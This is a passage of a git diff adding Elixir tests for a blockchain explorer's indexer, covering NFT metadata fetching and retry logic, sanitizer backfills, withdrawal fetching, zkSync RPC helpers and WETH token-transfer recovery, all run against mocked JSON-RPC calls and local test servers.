insert(:token_instance, + token_contract_address_hash: erc_721_token.contract_address_hash, + error: "error", + metadata: nil, + retries_count: 8 + ) + + token_address = to_string(erc_721_token.contract_address_hash) + + data = + "0xc87b56dd" <> + (ABI.TypeEncoder.encode([Decimal.to_integer(token_instance.token_id)], [{:uint, 256}]) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: ^data, + to: ^token_address + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + error: %{code: -32015, data: "Reverted 0x", message: "execution reverted"}, + id: id, + jsonrpc: "2.0" + } + ]} + end) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + [instance] = Repo.all(Instance) + assert instance.error =~ "VM execution error" + assert not instance.is_banned + end + + test "don't set is_banned (429 error)", %{bypass: bypass} do + erc_721_token = insert(:token, type: "ERC-721") + + token_instance = + insert(:token_instance, + token_contract_address_hash: erc_721_token.contract_address_hash, + error: "error", + metadata: nil, + retries_count: 1000 + ) + + token_address = to_string(erc_721_token.contract_address_hash) + + data = + "0xc87b56dd" <> + (ABI.TypeEncoder.encode([Decimal.to_integer(token_instance.token_id)], [{:uint, 256}]) + |> Base.encode16(case: :lower)) + + encoded_url = + "0x" <> + (ABI.TypeEncoder.encode(["http://localhost:#{bypass.port}/api/card"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: ^data, + to: ^token_address + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: encoded_url + } + ]} + end) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect( + bypass, + "GET", + "/api/card", + fn conn -> + Conn.resp(conn, 429, "429 Too many requests") + end + ) + + Helper.batch_fetch_instances([ + %{contract_address_hash: token_instance.token_contract_address_hash, token_id: token_instance.token_id} + ]) + + now = DateTime.utc_now() + + refetch_after = + DateTime.add( + now, + Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Retry)[:max_refetch_interval], + :millisecond + ) + + [instance] = Repo.all(Instance) + assert DateTime.diff(refetch_after, instance.refetch_after) < 1 + assert instance.error =~ "request error: 429" + assert instance.retries_count == 1001 + assert not instance.is_banned + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/token_instance/realtime_test.exs b/apps/indexer/test/indexer/fetcher/token_instance/realtime_test.exs new file mode 100644 index 000000000000..b05310097186 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/token_instance/realtime_test.exs @@ -0,0 +1,126 @@ +defmodule Indexer.Fetcher.TokenInstance.RealtimeTest do + use EthereumJSONRPC.Case + use Explorer.DataCase + + import Mox + + alias Explorer.Repo + alias Explorer.Chain.Token.Instance + alias Indexer.Fetcher.TokenInstance.Realtime, as: TokenInstanceRealtime + alias Plug.Conn + + setup :verify_on_exit! + setup :set_mox_global + + describe "Check how works retry in realtime" do + setup do + config = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime) + new_config = config |> Keyword.put(:retry_with_cooldown?, true) |> Keyword.put(:retry_timeout, 100) + + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime, new_config) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Realtime, config) + end) + + :ok + end + + test "retry once after timeout" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + [] + |> TokenInstanceRealtime.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + + json = """ + { + "name": "name" + } + """ + + encoded_url = + "0x" <> + (ABI.TypeEncoder.encode(["http://localhost:#{bypass.port}/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0x0e89341c0000000000000000000000000000000000000000000000000000000000000309", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: encoded_url + } + ]} + end) + + Bypass.expect_once( + bypass, + "GET", + "/api/card/0000000000000000000000000000000000000000000000000000000000000309", + fn conn -> + Conn.resp(conn, 404, "Not found") + end + ) + + Bypass.expect_once( + bypass, + "GET", + "/api/card/0000000000000000000000000000000000000000000000000000000000000309", + fn conn -> + Conn.resp(conn, 200, json) + end + ) + + token = + insert(:token, + contract_address: build(:address, hash: "0x5caebd3b32e210e85ce3e9d51638b9c445481567"), + type: "ERC-1155" + ) + + insert(:token_instance, + token_id: 777, + token_contract_address_hash: token.contract_address_hash, + metadata: nil, + error: nil + ) + + TokenInstanceRealtime.async_fetch([ + %{token_contract_address_hash: token.contract_address_hash, token_ids: [Decimal.new(777)]} + ]) + + :timer.sleep(250) + + [instance] = Repo.all(Instance) + + assert is_nil(instance.error) + assert instance.metadata == %{"name" => "name"} + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/token_instance/refetch_test.exs b/apps/indexer/test/indexer/fetcher/token_instance/refetch_test.exs new file mode 100644 index 000000000000..77d6b02af84e --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/token_instance/refetch_test.exs @@ -0,0 +1,214 @@ +defmodule Indexer.Fetcher.TokenInstance.RefetchTest do + use Explorer.DataCase + use EthereumJSONRPC.Case, async: false + + import Mox + + alias Explorer.Chain.Token.Instance + alias Indexer.Fetcher.TokenInstance.Refetch + alias Indexer.Fetcher.OnDemand.NFTCollectionMetadataRefetch, as: NFTCollectionMetadataRefetchOnDemand + alias Plug.Conn + + describe "child_spec/1" do + test "merges default options with provided options" do + init_options = [max_batch_size: 5] + gen_server_options = [name: :test_server] + + child_spec = Refetch.child_spec([init_options, gen_server_options]) + + assert %{ + id: Refetch, + start: {Indexer.BufferedTask, :start_link, _} + } = child_spec + end + end + + describe "init/3" do + test "initializes with token instances marked to refetch" do + initial_acc = [] + reducer = fn data, acc -> [data | acc] end + + token = insert(:token, name: "FN2 Token", type: "ERC-1155") + + token_instance_1 = + insert(:token_instance, + token_id: 1, + token_contract_address_hash: token.contract_address_hash, + metadata: nil, + error: ":marked_to_refetch" + ) + + token_instance_2 = + insert(:token_instance, + token_id: 2, + token_contract_address_hash: token.contract_address_hash, + metadata: nil, + error: ":marked_to_refetch" + ) + + response = + [token_instance_2, token_instance_1] + |> Enum.map(fn %Instance{token_id: token_id, token_contract_address_hash: token_contract_address_hash} -> + %{ + token_id: token_id, + contract_address_hash: token_contract_address_hash + } + end) + + assert Refetch.init(initial_acc, reducer, []) == response + end + end + + describe "run/2" do + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + + start_supervised!( + {NFTCollectionMetadataRefetchOnDemand, + [mocked_json_rpc_named_arguments, [name: NFTCollectionMetadataRefetchOnDemand]]} + ) + + :ok + end + + test "filters and fetches token instances marked to refetch" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + json = """ + { + "name": "nice nft" + } + """ + + token = insert(:token, name: "FN2 Token", type: "ERC-1155") + + token_instance_1 = + insert(:token_instance, + token_id: 1, + token_contract_address_hash: token.contract_address_hash, + metadata: %{uri: "http://example.com"}, + error: nil + ) + + token_instance_2 = + insert(:token_instance, + token_id: 2, + token_contract_address_hash: token.contract_address_hash, + metadata: %{uri: "http://example.com"}, + error: nil + ) + + token_instances = + [token_instance_2, token_instance_1] + |> Enum.map(fn %Instance{token_id: token_id, token_contract_address_hash: token_contract_address_hash} -> + %{ + token_id: token_id, + contract_address_hash: token_contract_address_hash + } + end) + + token_contract_address_hash_string = to_string(token.contract_address_hash) + + encoded_url = + "0x" <> + (ABI.TypeEncoder.encode(["http://localhost:#{bypass.port}/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x0e89341c0000000000000000000000000000000000000000000000000000000000000002", + to: ^token_contract_address_hash_string + }, + "latest" + ] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x0e89341c0000000000000000000000000000000000000000000000000000000000000001", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, [%{id: id_1, jsonrpc: "2.0", result: encoded_url}, %{id: id_2, jsonrpc: "2.0", result: encoded_url}]} + end + ) + + Bypass.expect_once( + bypass, + "GET", + "/api/card/0000000000000000000000000000000000000000000000000000000000000001", + fn conn -> + Conn.resp(conn, 200, json) + end + ) + + Bypass.expect_once( + bypass, + "GET", + "/api/card/0000000000000000000000000000000000000000000000000000000000000002", + fn conn -> + Conn.resp(conn, 200, json) + end + ) + + NFTCollectionMetadataRefetchOnDemand.trigger_refetch(token) + + :timer.sleep(150) + + marked_token_instances = + Repo.all( + from(i in Instance, + where: i.token_contract_address_hash == ^token.contract_address_hash + ) + ) + + for marked_token_instance <- marked_token_instances do + assert marked_token_instance.metadata == nil + assert marked_token_instance.error == ":marked_to_refetch" + end + + assert :ok = Refetch.run(token_instances, []) + + :timer.sleep(150) + + updated_token_instances = + Repo.all( + from(i in Instance, + where: i.token_contract_address_hash == ^token.contract_address_hash + ) + ) + + for updated_token_instance <- updated_token_instances do + assert updated_token_instance.metadata == %{"name" => "nice nft"} + assert updated_token_instance.error == nil + end + + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/token_instance/sanitize_erc1155_test.exs b/apps/indexer/test/indexer/fetcher/token_instance/sanitize_erc1155_test.exs new file mode 100644 index 000000000000..bb8f45e9f9c3 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/token_instance/sanitize_erc1155_test.exs @@ -0,0 +1,33 @@ +defmodule Indexer.Fetcher.TokenInstance.SanitizeERC1155Test do + use Explorer.DataCase + + alias Explorer.Repo + alias Explorer.Chain.Token.Instance + + describe "sanitizer test" do + test "imports token instances" do + for i <- 0..3 do + token = insert(:token, type: "ERC-1155") + + insert(:address_current_token_balance, + token_type: "ERC-1155", + token_id: i, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + end + + assert [] = Repo.all(Instance) + + start_supervised!({Indexer.Fetcher.TokenInstance.SanitizeERC1155, []}) + start_supervised!({Indexer.Fetcher.TokenInstance.Sanitize.Supervisor, [[flush_interval: 1]]}) + + :timer.sleep(500) + + instances = Repo.all(Instance) + + assert Enum.count(instances) == 4 + assert Enum.all?(instances, fn instance -> !is_nil(instance.error) and is_nil(instance.metadata) end) + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/token_instance/sanitize_erc721_test.exs b/apps/indexer/test/indexer/fetcher/token_instance/sanitize_erc721_test.exs new file mode 100644 index 000000000000..ee2ad30c8e6d --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/token_instance/sanitize_erc721_test.exs @@ -0,0 +1,197 @@ +defmodule Indexer.Fetcher.TokenInstance.SanitizeERC721Test do + use Explorer.DataCase + + alias Explorer.Repo + alias Explorer.Chain.Token.Instance + alias Explorer.Application.Constants + alias Explorer.Migrator.MigrationStatus + + describe "sanitizer test" do + setup do + initial_env = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.SanitizeERC721) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.SanitizeERC721, initial_env) + end) + + {:ok, initial_env: initial_env} + end + + test "imports token instances" do + for x <- 0..3 do + erc_721_token = insert(:token, type: "ERC-721") + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + address = insert(:address) + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_721_token.contract_address, + token_ids: [x] + ) + end + + assert [] = Repo.all(Instance) + + start_supervised!({Indexer.Fetcher.TokenInstance.SanitizeERC721, []}) + start_supervised!({Indexer.Fetcher.TokenInstance.Sanitize.Supervisor, [[flush_interval: 1]]}) + + :timer.sleep(500) + + instances = Repo.all(Instance) + + assert Enum.count(instances) == 4 + assert Enum.all?(instances, fn instance -> !is_nil(instance.error) and is_nil(instance.metadata) end) + assert MigrationStatus.get_status("backfill_erc721") == "completed" + end + + test "imports token instances with low tokens queue size", %{initial_env: initial_env} do + tokens = + for x <- 0..5 do + erc_721_token = insert(:token, type: "ERC-721") + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + address = insert(:address) + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_721_token.contract_address, + token_ids: [x] + ) + + erc_721_token + end + + assert [] = Repo.all(Instance) + + Application.put_env( + :indexer, + Indexer.Fetcher.TokenInstance.SanitizeERC721, + Keyword.put(initial_env, :tokens_queue_size, 1) + ) + + start_supervised!({Indexer.Fetcher.TokenInstance.SanitizeERC721, []}) + start_supervised!({Indexer.Fetcher.TokenInstance.Sanitize.Supervisor, [[flush_interval: 1]]}) + + :timer.sleep(500) + + instances = Repo.all(Instance) + + assert Enum.count(instances) == 6 + assert Enum.all?(instances, fn instance -> !is_nil(instance.error) and is_nil(instance.metadata) end) + + assert MigrationStatus.get_status("backfill_erc721") == "completed" + assert List.last(tokens).contract_address_hash == Constants.get_last_processed_token_address_hash() + end + + test "don't start if completed" do + MigrationStatus.set_status("backfill_erc721", "completed") + + for x <- 0..5 do + erc_721_token = insert(:token, type: "ERC-721") + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + address = insert(:address) + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_721_token.contract_address, + token_ids: [x] + ) + end + + assert [] = Repo.all(Instance) + + start_supervised!({Indexer.Fetcher.TokenInstance.SanitizeERC721, []}) + start_supervised!({Indexer.Fetcher.TokenInstance.Sanitize.Supervisor, [[flush_interval: 1]]}) + + :timer.sleep(500) + + instances = Repo.all(Instance) + + assert Enum.count(instances) == 0 + + assert MigrationStatus.get_status("backfill_erc721") == "completed" + end + + test "takes into account the last processed token address hash" do + tokens = + for x <- 0..5 do + erc_721_token = insert(:token, type: "ERC-721") + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + address = insert(:address) + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_721_token.contract_address, + token_ids: [x] + ) + + erc_721_token + end + + assert [] = Repo.all(Instance) + + pid_sanitize_erc721 = start_supervised!({Indexer.Fetcher.TokenInstance.SanitizeERC721, []}) + start_supervised!({Indexer.Fetcher.TokenInstance.Sanitize.Supervisor, [[flush_interval: 1]]}) + + :timer.sleep(500) + + instances = Repo.all(Instance) + + assert Enum.count(instances) == 6 + last_token = List.last(tokens) + assert MigrationStatus.get_status("backfill_erc721") == "completed" + assert last_token.contract_address_hash == Constants.get_last_processed_token_address_hash() + refute Process.alive?(pid_sanitize_erc721) + + first_token = List.first(tokens) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + address = insert(:address) + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: first_token.contract_address, + token_ids: [6] + ) + + MigrationStatus.set_status("backfill_erc721", "started") + + {:ok, supervisor} = ExUnit.fetch_test_supervisor() + + {:ok, _pid_sanitize_erc721} = + Supervisor.restart_child(supervisor, Indexer.Fetcher.TokenInstance.SanitizeERC721) + + :timer.sleep(500) + + assert MigrationStatus.get_status("backfill_erc721") == "completed" + assert last_token.contract_address_hash == Constants.get_last_processed_token_address_hash() + + instances = Repo.all(Instance) + + assert Enum.count(instances) == 6 + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/token_updater_test.exs b/apps/indexer/test/indexer/fetcher/token_updater_test.exs index 735c29b75ae0..28826604e1f0 100644 --- a/apps/indexer/test/indexer/fetcher/token_updater_test.exs +++ b/apps/indexer/test/indexer/fetcher/token_updater_test.exs @@ -16,7 +16,7 @@ defmodule Indexer.Fetcher.TokenUpdaterTest do symbol: nil, decimals: 10, cataloged: true, - updated_at: DateTime.add(DateTime.utc_now(), -:timer.hours(50), :millisecond) + metadata_updated_at: DateTime.add(DateTime.utc_now(), -:timer.hours(50), :millisecond) ) expect( diff --git a/apps/indexer/test/indexer/fetcher/uncle_block_test.exs b/apps/indexer/test/indexer/fetcher/uncle_block_test.exs index e8a656287600..052b4b75f492 100644 --- a/apps/indexer/test/indexer/fetcher/uncle_block_test.exs +++ b/apps/indexer/test/indexer/fetcher/uncle_block_test.exs @@ -29,7 +29,7 @@ defmodule Indexer.Fetcher.UncleBlockTest do transport: EthereumJSONRPC.Mox, transport_options: [], # Which one does not matter, so pick one - variant: EthereumJSONRPC.Parity + variant: EthereumJSONRPC.Nethermind ] } end diff --git a/apps/indexer/test/indexer/fetcher/withdrawal_test.exs b/apps/indexer/test/indexer/fetcher/withdrawal_test.exs new file mode 100644 index 000000000000..f3b13f783af8 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/withdrawal_test.exs @@ -0,0 +1,151 @@ +defmodule Indexer.Fetcher.WithdrawalTest do + use EthereumJSONRPC.Case + use Explorer.DataCase + + import Mox + import EthereumJSONRPC, only: [integer_to_quantity: 1] + + alias Indexer.Fetcher.Withdrawal + + setup :verify_on_exit! + setup :set_mox_global + + setup do + initial_env = Application.get_all_env(:indexer) + on_exit(fn -> Application.put_all_env([{:indexer, initial_env}]) end) + end + + test "do not crash app when WITHDRAWALS_FIRST_BLOCK is undefined", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + Application.put_env(:indexer, Withdrawal.Supervisor, disabled?: "false") + Withdrawal.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + assert [{Indexer.Fetcher.Withdrawal, :undefined, :worker, [Indexer.Fetcher.Withdrawal]} | _] = + Withdrawal.Supervisor |> Supervisor.which_children() + end + + test "do not start when all old blocks are fetched", %{json_rpc_named_arguments: json_rpc_named_arguments} do + Application.put_env(:indexer, Withdrawal.Supervisor, disabled?: "false") + Withdrawal.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + Application.put_env(:indexer, Withdrawal, first_block: "0") + + assert [{Indexer.Fetcher.Withdrawal, :undefined, :worker, [Indexer.Fetcher.Withdrawal]} | _] = + Withdrawal.Supervisor |> Supervisor.which_children() + end + + test "stops when all old blocks are fetched", %{json_rpc_named_arguments: json_rpc_named_arguments} do + Application.put_env(:indexer, Withdrawal.Supervisor, disabled?: "false") + Application.put_env(:indexer, Withdrawal, first_block: "0") + + block_a = insert(:block) + block_b = insert(:block) + + block_a_number_string = integer_to_quantity(block_a.number) + block_b_number_string = integer_to_quantity(block_b.number) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, 2, fn requests, _options -> + {:ok, + Enum.map(requests, fn + %{id: id, method: "eth_getBlockByNumber", params: [^block_a_number_string, true]} -> + %{ + id: id, + result: %{ + "author" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "difficulty" => "0x6bc767dd80781", + "extraData" => "0x5050594520737061726b706f6f6c2d6574682d7477", + "gasLimit" => "0x7a121d", + "gasUsed" => "0x79cbe9", + "hash" => to_string(block_a.hash), + "logsBloom" => + "0x044d42d008801488400e1809190200a80d06105bc0c4100b047895c0d518327048496108388040140010b8208006288102e206160e21052322440924002090c1c808a0817405ab238086d028211014058e949401012403210314896702d06880c815c3060a0f0809987c81044488292cc11d57882c912a808ca10471c84460460040000c0001012804022000a42106591881d34407420ba401e1c08a8d00a000a34c11821a80222818a4102152c8a0c044032080c6462644223104d618e0e544072008120104408205c60510542264808488220403000106281a0290404220112c10b080145028c8000300b18a2c8280701c882e702210b00410834840108084", + "miner" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "mixHash" => "0xda53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "nonce" => "0x0946e5f01fce12bc", + "number" => "0x708677", + "parentHash" => "0x62543e836e0ef7edfa9e38f26526092c4be97efdf5ba9e0f53a4b0b7d5bc930a", + "receiptsRoot" => "0xa7d2b82bd8526de11736c18bd5cc8cfe2692106c4364526f3310ad56d78669c4", + "sealFields" => [ + "0xa0da53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "0x880946e5f01fce12bc" + ], + "sha3Uncles" => "0x483a8a21a5825ad270f358b3ea56e060bbb8b3082d9a92ec8fa17a5c7e6fc1b6", + "size" => "0x544c", + "stateRoot" => "0x85daa9cd528004c1609d4cb3520fd958e85983bb4183124a4a9f7137fd39c691", + "timestamp" => "0x5c8bc76e", + "totalDifficulty" => "0x201a42c35142ae94458", + "transactions" => [], + "transactionsRoot" => "0xcd6c12fa43cd4e92ad5c0bf232b30488bbcbfe273c5b4af0366fced0767d54db", + "uncles" => [], + "withdrawals" => [ + %{ + "index" => "0x1", + "validatorIndex" => "0x80b", + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => "0x2c17a12dc00" + } + ] + } + } + + %{id: id, method: "eth_getBlockByNumber", params: [^block_b_number_string, true]} -> + %{ + id: id, + result: %{ + "author" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "difficulty" => "0x6bc767dd80781", + "extraData" => "0x5050594520737061726b706f6f6c2d6574682d7477", + "gasLimit" => "0x7a121d", + "gasUsed" => "0x79cbe9", + "hash" => to_string(block_b.hash), + "logsBloom" => + "0x044d42d008801488400e1809190200a80d06105bc0c4100b047895c0d518327048496108388040140010b8208006288102e206160e21052322440924002090c1c808a0817405ab238086d028211014058e949401012403210314896702d06880c815c3060a0f0809987c81044488292cc11d57882c912a808ca10471c84460460040000c0001012804022000a42106591881d34407420ba401e1c08a8d00a000a34c11821a80222818a4102152c8a0c044032080c6462644223104d618e0e544072008120104408205c60510542264808488220403000106281a0290404220112c10b080145028c8000300b18a2c8280701c882e702210b00410834840108084", + "miner" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "mixHash" => "0xda53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "nonce" => "0x0946e5f01fce12bc", + "number" => "0x708677", + "parentHash" => "0x62543e836e0ef7edfa9e38f26526092c4be97efdf5ba9e0f53a4b0b7d5bc930a", + "receiptsRoot" => "0xa7d2b82bd8526de11736c18bd5cc8cfe2692106c4364526f3310ad56d78669c4", + "sealFields" => [ + "0xa0da53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "0x880946e5f01fce12bc" + ], + "sha3Uncles" => "0x483a8a21a5825ad270f358b3ea56e060bbb8b3082d9a92ec8fa17a5c7e6fc1b6", + "size" => "0x544c", + "stateRoot" => "0x85daa9cd528004c1609d4cb3520fd958e85983bb4183124a4a9f7137fd39c691", + "timestamp" => "0x5c8bc76e", + "totalDifficulty" => "0x201a42c35142ae94458", + "transactions" => [], + "transactionsRoot" => "0xcd6c12fa43cd4e92ad5c0bf232b30488bbcbfe273c5b4af0366fced0767d54db", + "uncles" => [], + "withdrawals" => [ + %{ + "index" => "0x2", + "validatorIndex" => "0x80b", + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => "0x2c17a12dc00" + } + ] + } + } + end)} + end) + + pid = Withdrawal.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + assert [{Indexer.Fetcher.Withdrawal, worker_pid, :worker, [Indexer.Fetcher.Withdrawal]} | _] = + Withdrawal.Supervisor |> Supervisor.which_children() + + assert is_pid(worker_pid) + + :timer.sleep(300) + + assert [{Indexer.Fetcher.Withdrawal, :undefined, :worker, [Indexer.Fetcher.Withdrawal]} | _] = + Withdrawal.Supervisor |> Supervisor.which_children() + + # Terminates the process so it finishes all Ecto processes. + GenServer.stop(pid) + end +end diff --git a/apps/indexer/test/indexer/fetcher/zksync/utils/rpc_test.exs b/apps/indexer/test/indexer/fetcher/zksync/utils/rpc_test.exs new file mode 100644 index 000000000000..76bea9c80258 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/zksync/utils/rpc_test.exs @@ -0,0 +1,75 @@ +defmodule Indexer.Fetcher.ZkSync.Utils.RpcTest do + use EthereumJSONRPC.Case + use Explorer.DataCase + + import Mox + + alias Explorer.Chain.Hash + alias Indexer.Fetcher.ZkSync.Utils.Rpc, as: ZksyncRpc + + setup :set_mox_global + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + end + + describe "fetch_transaction_by_hash/2" do + test "returns transaction data for a valid transaction hash", %{json_rpc_named_arguments: json_rpc_named_arguments} do + transaction_hash = "0x3078313131313131313131313131313131313131313131313131313131313131" + raw_transaction_hash = "3078313131313131313131313131313131313131313131313131313131313131" |> Base.decode16!() + + EthereumJSONRPC.Mox + |> expect( + :json_rpc, + fn + %{id: _id, method: "eth_getTransactionByHash", params: [^transaction_hash]}, _options -> + {:ok, + %{ + "hash" => transaction_hash + }} + + %{id: _id, method: "eth_getTransactionByHash", params: [%Hash{bytes: ^raw_transaction_hash}]}, _options -> + {:ok, + %{ + "hash" => transaction_hash + }} + end + ) + + assert %{"hash" => ^transaction_hash} = + ZksyncRpc.fetch_transaction_by_hash(raw_transaction_hash, json_rpc_named_arguments) + end + end + + describe "fetch_transaction_receipt_by_hash/2" do + test "returns transaction receipt data for a valid transaction hash", + %{json_rpc_named_arguments: json_rpc_named_arguments} do + transaction_hash = "0x3078313131313131313131313131313131313131313131313131313131313131" + raw_transaction_hash = "3078313131313131313131313131313131313131313131313131313131313131" |> Base.decode16!() + + EthereumJSONRPC.Mox + |> expect( + :json_rpc, + fn + %{id: _id, method: "eth_getTransactionReceipt", params: [^transaction_hash]}, _options -> + {:ok, + %{ + "transactionHash" => transaction_hash + }} + + %{id: _id, method: "eth_getTransactionReceipt", params: [%Hash{bytes: ^raw_transaction_hash}]}, _options -> + {:ok, + %{ + "transactionHash" => transaction_hash + }} + end + ) + + assert %{"transactionHash" => ^transaction_hash} = + ZksyncRpc.fetch_transaction_receipt_by_hash(raw_transaction_hash, json_rpc_named_arguments) + end + end +end diff --git a/apps/indexer/test/indexer/migrator/recovery_weth_token_transfers_test.exs b/apps/indexer/test/indexer/migrator/recovery_weth_token_transfers_test.exs new file mode 100644 index 000000000000..f77a51d81f9e --- /dev/null +++ b/apps/indexer/test/indexer/migrator/recovery_weth_token_transfers_test.exs @@ -0,0 +1,182 @@ +defmodule Indexer.Migrator.RecoveryWETHTokenTransfersTest do + use Explorer.DataCase, async: false + + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + alias Explorer.Chain.TokenTransfer + alias Explorer.Migrator.MigrationStatus + alias Explorer.Repo + + alias Indexer.Migrator.RecoveryWETHTokenTransfers + + describe "RecoveryWETHTokenTransfers" do + test "recovery WETH token transfers" do + %{contract_address: token_address} = insert(:token, type: "ERC-20") + + address_1 = insert(:address) + block_1 = insert(:block) + transaction_1 = insert(:transaction) |> with_block(block_1) + + log_1 = + insert(:withdrawal_log, + from_address: address_1, + token_contract_address: token_address, + amount: 1000, + transaction: transaction_1, + block: block_1 + ) + + log_2 = + insert(:withdrawal_log, + from_address: address_1, + token_contract_address: token_address, + amount: 1000, + transaction: transaction_1, + block: block_1 + ) + + transaction_random = insert(:transaction) |> with_block(block_1) + + # shouldn't be inserted + log_random_1 = + insert(:withdrawal_log, + from_address: address_1, + token_contract_address: token_address, + amount: 1001, + transaction: transaction_random, + block: block_1 + ) + + insert(:token_transfer, + from_address_hash: burn_address_hash_string(), + from_address: nil, + to_address: address_1, + token_contract_address: token_address, + block: block_1, + transaction: transaction_random, + log_index: log_random_1.index + ) + + # shouldn't be inserted + log_random_2 = + insert(:withdrawal_log, + from_address: address_1, + token_contract_address: token_address, + amount: 1002, + transaction: transaction_random, + block: block_1 + ) + + insert(:token_transfer, + from_address_hash: burn_address_hash_string(), + from_address: nil, + to_address: address_1, + token_contract_address: token_address, + block: block_1, + transaction: transaction_random, + log_index: log_random_2.index + ) + + block_2 = insert(:block) + transaction_2 = insert(:transaction) |> with_block(block_2) + + _log_3 = + insert(:withdrawal_log, + from_address: address_1, + token_contract_address: token_address, + amount: 10023, + transaction: transaction_2, + block: block_2 + ) + + _log_4 = + insert(:deposit_log, + from_address: address_1, + token_contract_address: token_address, + amount: 10023, + transaction: transaction_2, + block: block_2 + ) + + address_3 = insert(:address) + block_3 = insert(:block) + transaction_3 = insert(:transaction) |> with_block(block_3) + + log_5 = + insert(:deposit_log, + from_address: address_3, + token_contract_address: token_address, + amount: 1000, + transaction: transaction_3, + block: block_3 + ) + + log_6 = + insert(:deposit_log, + from_address: address_3, + token_contract_address: token_address, + amount: 1000, + transaction: transaction_3, + block: 